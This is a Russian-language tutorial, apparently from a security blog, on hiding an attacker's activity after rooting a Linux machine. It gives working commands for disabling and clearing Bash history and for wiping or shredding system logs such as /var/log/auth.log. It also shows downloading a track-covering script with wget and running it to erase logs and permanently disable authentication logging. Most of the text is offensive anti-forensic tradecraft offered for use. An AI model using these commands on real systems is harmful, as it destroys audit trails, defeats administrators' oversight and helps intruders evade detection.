Чтобы показать вам основы заметания следов, мы сначала скомпрометируем цель, а затем рассмотрим некоторые методы, используемые для удаления истории Bash, очистки журналов и сохранения скрытности после использования системы Linux. В этой статье мы рассмотрим как заметать следы на системах Linux.
Первое, что нам нужно сделать, это использовать цель. Мы можем использовать внедрение команд, чтобы злоупотреблять тем, как сервер обрабатывает команды ОС для получения оболочки. Мы также хотим обновить нашу новую оболочку до полностью интерактивной. Это облегчит работу в целом, а также позволит нам использовать завершение табуляции и историю терминала.
После этого мы можем повысить наши привилегии до root, чтобы мы могли лучше использовать преимущества системы, чтобы оставаться незамеченными.
Получив root-доступ, мы можем создать скрытый каталог для работы и хранения любых скриптов или файлов. Это не обманет никого, кроме самого начинающего администратора, но еще один уровень конфиденциальности, безусловно, не помешает. Во-первых, давайте найдем любые доступные для записи каталоги с помощью следующей команды:
root@target:/# find / -perm -222 -type d 2>/dev/null
/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
Мы можем создать скрытый каталог с помощью команды mkdir и поставив перед именем точку:
root@target:/# mkdir /dev/shm/.secret
Если мы сейчас перечислим содержимое /dev/shm, ничего не появится:
root@target:/# ls -l /dev/shm/
Только когда мы используем переключатель -a для вывода списка всех файлов и каталогов, он появляется:
root@target:/# ls -la /dev/shm/
total 0
drwxrwxrwt 3 root root 60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x 2 root root 40 2019-06-19 13:49 .secret
И чтобы удалить каталог после того, как мы закончим работу с машиной, используйте команду rmdir:
root@target:/# rmdir /dev/shm/.secret/
Bash хранит список команд, используемых в текущем сеансе, в памяти, поэтому важно очистить его, чтобы замести следы. Мы можем просмотреть текущую историю с помощью команды history:
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history
Команды записываются в переменную среды HISTFILE, обычно это .bash_history. Мы можем повторить это, чтобы увидеть местоположение:
root@target:/# echo $HISTFILE
/root/.bash_history
Мы можем использовать команду unset
для удаления переменной:
root@target:/# unset HISTFILE
Поэтому, когда мы повторяем это снова, ничего не появляется:
root@target:/# echo $HISTFILE
Мы также можем убедиться, что история команд не сохраняется, отправив ее в /dev/null. Установите для него переменную:
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:
root@target:/# export HISTFILE=/dev/null
И история теперь будет отправляться в /dev/null (никуда):
root@target:/# echo $HISTFILE
/dev/null
Мы можем установить количество команд, которые будут храниться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
root@target:/# export HISTSIZE=0
Мы также можем изменить допустимое количество строк в файле истории, используя переменную HISTFILESIZE. Установите это значение на 0:
root@target:/# HISTFILESIZE=0
Или с экспортом:
root@target:/# export HISTFILESIZE=0
Команду set
также можно использовать для изменения параметров оболочки. Чтобы отключить опцию истории, используйте следующую команду:
root@target:/# set +o history
И чтобы включить его снова:
root@target:/# set -o history
Точно так же команду shopt
можно использовать для изменения параметров оболочки. Чтобы отключить историю, используйте следующую команду:
root@target:/# shopt -ou history
И чтобы включить его снова:
root@target:/# shopt -os history
При запуске команд в целевой системе мы иногда можем избежать их сохранения в истории, начав команду с начального пробела:
root@target:~# cat /etc/passwd
Этот метод не работает все время и зависит от системы. Мы также можем просто очистить историю с помощью ключа -c:
root@target:~# history -c
Чтобы убедиться, что изменения записаны на диск, используйте ключ -w:
root@target:~# history -w
Это очистит историю только для текущего сеанса. Чтобы полностью убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Мы также можем использовать команду kill
для выхода из сеанса без сохранения истории:
root@target:/# kill -9 $$
В дополнение к истории Bash файлы журналов также необходимо стереть, чтобы они оставались незамеченными. Вот некоторые распространенные файлы журналов и их содержимое:
Конечно, мы можем просто удалить журнал с помощью команды rm:
root@target:/# rm /var/log/auth.log
Но это, скорее всего, вызовет тревогу, поэтому лучше очистить файл, а не стирать его полностью. Мы можем использовать команду truncate, чтобы уменьшить размер до 0:
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, усечение не всегда присутствует во всех системах.
Мы можем сделать то же самое, ничего не выводя в файл:
root@target:/# echo '' > /var/log/auth.log
А также с помощью >, чтобы очистить файл:
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
root@target:/# cat /dev/null > /var/log/auth.log
Или используйте команду tee:
root@target:/# true | tee /var/log/auth.log
Мы также можем использовать команду dd,
чтобы ничего не записывать в файл журнала:
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команду shred можно использовать для перезаписи файла бессмысленными двоичными данными:
root@target:/# shred /var/log/auth.log
Мы даже можем добавить -zu, чтобы обрезать файл и перезаписать его нулями, чтобы скрыть следы уничтожения:
root@target:/# shred -zu /var/log/auth.log
Чтобы увеличить вероятность того, что любая активность на цели останется незамеченной, мы можем использовать инструмент, который гарантирует, что все будет стерто. Covermyass — это скрипт, который автоматизирует большую часть процессов, которые мы уже рассмотрели, включая очистку файлов журнала и отключение истории Bash.
Мы можем получить скрипт с GitHub с помощью wget (при условии, что у нас есть доступ к Интернету на цели, в противном случае его придется передавать вручную):
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог, доступный для записи, и используйте chmod, чтобы сделать его исполняемым:
root@target:/tmp# chmod +x covermyass
Затем мы можем запустить его:
root@target:/tmp# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>
Нам дается пользовательское приглашение с несколькими вариантами на выбор. Давайте выберем первый, чтобы очистить журналы:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Мы также можем отключить Bash и историю авторизации с помощью опции 2:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
А если вам нужно срочно все очистить, просто добавьте сейчас к команде:
root@target:/tmp# ./covermyass now
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Сегодня мы изучили различные методы, используемые для заметания следов и оставления незамеченными на скомпрометированной машине. Мы рассмотрели способы отключения и удаления истории Bash, методы очистки файлов журналов и использовали инструмент Covermyass, чтобы убедиться, что наша активность на цели была стерта. Существуют и другие способы устранения определенных следов атаки, например, использование Metasploit, использование сценариев оболочки или выполнение этого на взломанном компьютере с Windows, но вышеперечисленное должно быть всем, что вам нужно для базового компьютера с Linux.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…